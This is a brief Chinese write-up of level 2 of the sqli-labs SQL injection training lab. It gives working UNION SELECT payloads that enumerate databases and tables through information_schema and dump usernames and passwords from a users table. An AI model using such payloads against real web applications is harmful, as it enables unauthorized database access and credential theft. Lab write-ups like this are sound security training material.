sqli-labs系列——第二关
时间：2021-03-16 13:40:45
收藏：0
阅读：0
less2
and 1=1有回显，and 1=2无回显，为数值型注入
order by 4–+报错，有3行
查询数据库名
?id=0‘ union select 1,(select group_concat(schema_name) from information_schema.schemata),3 --+
查询列名
?id=0 union select 1,(select group_concat(schema_name) from information_schema.schemata),(select group_concat(table_name) from information_schema.tables where table_schema=‘security‘)--+
查询账号密码
?id=0 union select 1,(select group_concat(username) from users),(select group_concat(password) from users)--+
这里因为跟第一关大同小异，字段类型都是一样的，可以直接用exp去爆
exp：?id=-1 union SELECT 1,2,(select group_concat(username,0x3a,password) from users)--+
这里解释一下0x3a的用途：把账号和密码整合到一起更直观的显示
评论（0）